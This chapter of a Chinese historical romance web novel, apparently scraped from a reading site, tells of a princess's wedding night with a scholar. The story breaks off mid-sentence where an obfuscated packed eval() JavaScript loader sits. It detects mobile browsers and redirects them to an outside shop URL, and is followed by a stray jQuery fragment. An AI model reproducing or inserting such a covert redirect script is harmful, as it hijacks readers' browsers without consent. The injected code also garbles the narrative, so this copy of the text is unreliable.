11. 芙蓉帐暖【糖】

作品:《岁岁今朝

    李意清对宫中发生的事情一无所知。


    在新房中坐了一下午,她晨起没睡好,天一暗便困得不行。


    毓心以身为靠枕,供李意清倚着小睡。


    睡了半个时辰,毓心半边胳膊都酸麻了。一旁的茴香也等的无聊,坐在地上双手抱膝,头一点一点,睡得不安稳。


    终于,一阵喧闹声逼近。


    毓心一直提着心,听到声响,立刻反应过来。


    她推了推李意清,“殿下,时辰到了,快醒醒。”


    李意清身体比脑子早一步醒来,刚坐直,眼睛还没睁开,大红的盖头便盖了上来。


    李意清:“……”


    她在盖头下轻声打了个哈欠,看着盖头四角系着的流苏摇晃。


    大红色的缝隙下,能看见毓心的裙角走到茴香身边。茴香嘟囔了一声,站起身,像两尊神一样站在李意清的两侧。


    *


    外堂吵吵嚷嚷,都推着挤着要来看新娘子。但是个个心底都知道这是於光公主,因此只围着元辞章转。


    “伯怀,今日白天便让你逃过去了。可是你要娶我朝公主殿下,没点表示,我们可不依,”有人朗声笑道,“至少补上两三首催妆诗吧。”


    去皇宫接亲,自然没有什么人阻拦,更没有敲门礼和催妆诗环节。


    李意清听到那人声音,只觉得好笑。明明就是自己想要为难元辞章,却非要打个转,拿她做筏子。


    果不其然,随后就有一声更高的声音笑驳了回去,“韩二,你早在书院便有此预谋了吧。”


    “圣人曰,不可随意揣测。”原先的声音只辩解了一句,便继续追问,“伯怀,快些快些。你早作完,我们也好早些退去。”


    话音落下,其余众人纷纷开口附和。


    “就是就是,伯怀,信手拈来的事,莫要谦虚藏私。”


    “以状元郎之才,一首催妆诗还不是倚马可待。”


    元辞章被人团团围住。


    今日他喝了几杯酒,但神志清晰,作诗自然不在话下。


    沉吟片刻,轻声道:“朱帘轻卷露华浓,镜里红妆待催同。花钿巧缀云鬓上,金钗摇曳步轻容。”


    李意清微微愣住,身旁传来茴香的低笑,“殿下,元公子记性可真好。”


    毓心道:“才过去几个时辰,若是不记得了,才叫人意外。”


    李意清听着两人交头接耳,外堂宾客却还不肯罢休,被称作“韩二”的人继续道:“若是旁人也就算了,可你是金科状元,一首,可不能够。”


    旁边有人道:“正是,太子殿下就在外头,怎么也得太子点头,才能作数。”


    说完,就有人闹哄哄地出去,要喊太子殿下过来。


    那人想的快,脚步也快。不一会儿,太子殿下就被拉了进来。


    有人复述了一遍刚刚所作的诗。太子闻言,目光很是新奇地在元辞章身上转了一圈,忍不住笑了。


    “伯怀,原来你也会吟风弄月。”


    元辞章耳垂通红,鸦羽般的睫毛低垂,想推脱,又无从说起。


    只能道:“太子殿下就莫要取笑了。”


    太子莞尔,周围人闹哄哄地喊着再来一首,他只好无奈地摊了摊手,“妹夫,可不是我不帮你。你就再作一首,表示庆贺。”


    太子殿下发话,元辞章不好推脱。


    他应了声,看着满场的宾客。


    “宾客如云聚华堂,觥筹交错闹声扬。”


    “红烛高照众声语,惊得瑶姬步姗姗。”


    几乎是一边看来客,一边就将诗念了出来。


    “……”太子愣了半响,方才连连笑着摇头,“可真是狡猾。也罢,我这关,算你过了。”


    众人也见好就收,并肩出去的时候,还是回念那句“瑶姬”。


    也不知道那句瑶姬,是指新房中的於光公主,还是特意来此送上祝福的神明。


    *


    李意清听到外头的动静小了,知道外头宾客已经散去。


    耳边响起轻微的脚步声,是茴香和毓心悄声退下。


    临到此刻,她方有些难言的紧张。


    头顶的盖头忽然消失,淡黄的龙凤烛光摇曳,衬得周边景致都柔和下来。


    李意清抬头,看见元辞章站在面前。


    如松柏、如清风。


    眉目清朗,眼若幽潭,果然是策马游街,能引得掷果盈车场面之人。


    若是穿一身墨竹白衣,或者青冥长袍,不须周身云山雾海,便已经像是画卷走下的谪仙。


    今日的红色在他身上,不显得突兀,反倒增添了几笔旖旎气息。


    元辞章见她微微失神,出声道:“殿下?”


    李意清回神,朝他笑了笑,伸手搭在元辞章伸出的手上。


    元辞章的手修长,指尖侧边有常年累月握笔积累下的茧子,骨节分明,带着温热。


    李意清跟着他坐在了外堂的八仙桌上,看元辞章取了两只小杯,倒满酒。


    “合卺酒?”


    李意清有些意外,但还是接过了他递来的杯子。


    她感觉元辞章并不排斥婚事。


    李意清一边想着,一边和元辞章碰了一下,两人各自一饮而尽。


    饮完,李意清把杯子放在桌面上,余光看着元辞章的举动。


    元辞章坐得端正,一动不动。


    李意清心底觉得好笑,估计状元在金銮殿都不曾这么僵直。


    半响后,元辞章打破了寂静。他看向李意清,轻声道,“我帮殿下梳洗?”


    茴香和毓心都已经退下,此刻房中没有旁人,李意清便点了点头。


    要卸完这一身头面妆容,两个人总是快些。


    不过幸幸苦苦维持了一天的妆面,却只给新郎瞧了一眼,李意清还觉得有些可惜。


    毓心画了差不多了一个时辰呢。


    这边,元辞章扶着李意清走到梳妆台前,手指灵活地帮她取下满头的珠簪。


    元辞章动作轻,手指在发丝中穿梭,像是在按摩。


    李意清不再动弹,挑了个舒服的姿势坐在梳妆台前。


    元辞章取下最后一根发簪后,李意清的长发也随之柔顺地垂下。


    他呼吸顿了顿,低声道:“我去打盆热水。”


    李意清看着他背影,品出了几分落荒而逃。


    元辞章动作很快,来去不到几息,立刻端着一个铜盆进来。


    水面冒着热气,中央有一方白色的帕子,元辞章俯身把帕子拧得半干,一点


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13100510|138142||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一点擦去李意清脸上的脂粉和花钿。


    李意清觉得脸上有些痒,便眨了眨眼睛。


    忽然,她突然开口,语气疑惑:“为何戏文中洞房花烛夜,都没有卸下红妆这一步?”


    元辞章拿帕子的手一抖。


    元辞章没有应话,将有些微微变红的帕子重新放入水中搓洗、拧干,继续之前的动作。


    李意清也只是随口一问,并不需求一个答案。


    再者,这个答案即便状元博览群书,也不一定能解答。


    李意清忍不住莞尔一笑,竭力集中注意力的元辞章被她一笑打乱心神,停下手中动作。


    “殿下。”


    他语气无奈。


    李意清自然是极美的,今日的妆容更是将她脸上的优势放大,一颦一笑都热烈夺目。


    此刻她虽然乖巧坐着,但是脸上表情比起过去只可远观的清冷疏离,多添了几分灵动,身上还带着一股浅幽的花香,若不是高坐九天的瑶姬仙子,便是戏文中颠倒众生的花妖。


    李意清见元辞章欲言又止,便看了铜镜一眼。


    他的动作轻,妆容都卸了大半,也没有地方揉红。


    “怎么了?”


    李意清不知道元辞章的想法,于是出声问道。


    元辞章叹了一声,话说的半真半假。


    “给殿下去妆,比考状元还难。”


    李意清:“……”


    有一丝灵感一闪而过,李意清感觉自己悟了,但又没有抓住。


    不过她的脸上还是忍不住红了一些。


    今岁甲辰年已巳月乙酉日进士科,大庆举国上下一千一百七十六人来京赴考,第一甲进士及第三人,第二甲进士出身九十八人,第三甲同进士出身二百零六人。


    总共加起来方才三百人出头,怎么就去妆比考状元难了。


    李意清心中这样想,却也知道此刻不宜争论,便微微垂眸,让元辞章继续擦拭。


    等妆完全卸下,元辞章将水端出去。


    只剩下李意清一个人在房中。


    李意清去看墙上的《山河图》,看了一会儿,回到床榻边坐下,盯着摇曳的龙凤烛。


    元辞章这一趟出去的时间有些久,李意清的心中升起一抹紧张不安。


    这股不安在元辞章重新回来达到了顶峰。


    此刻元辞章也洗漱完毕,头上的发冠也取下,墨色长发如瀑布,散在红色的寝衣上,带着一股难言的情愫。


    李意清看着他走近,再走近,直到坐在她的身边。


    许是夜色如水,烛光微暖,显得元辞章向来疏离的眼眸也变得温柔。他喉结微动,视线落在李意清的脸上,声音有些哑,“殿下。”


    李意清说不清心里的悸动,她将不安尽数隐藏,给自己做好心理建设,伸出手指主动勾起元辞章的一缕发丝。


    元辞章看着她白皙的手指缠绕上的发丝。


    黑白色的对比在昏暗的烛火下融合,没有一点突兀。


    元辞章不再克制,伸手解开床边两侧的帘幔。


    大红的帘幔缓缓合上,床头的龙凤烛一夜长燃。云雨初始,不知多久,才归于平静。


    沉静之后,李意清累的不想动弹,将被子卷起,缩在里侧沉沉睡去。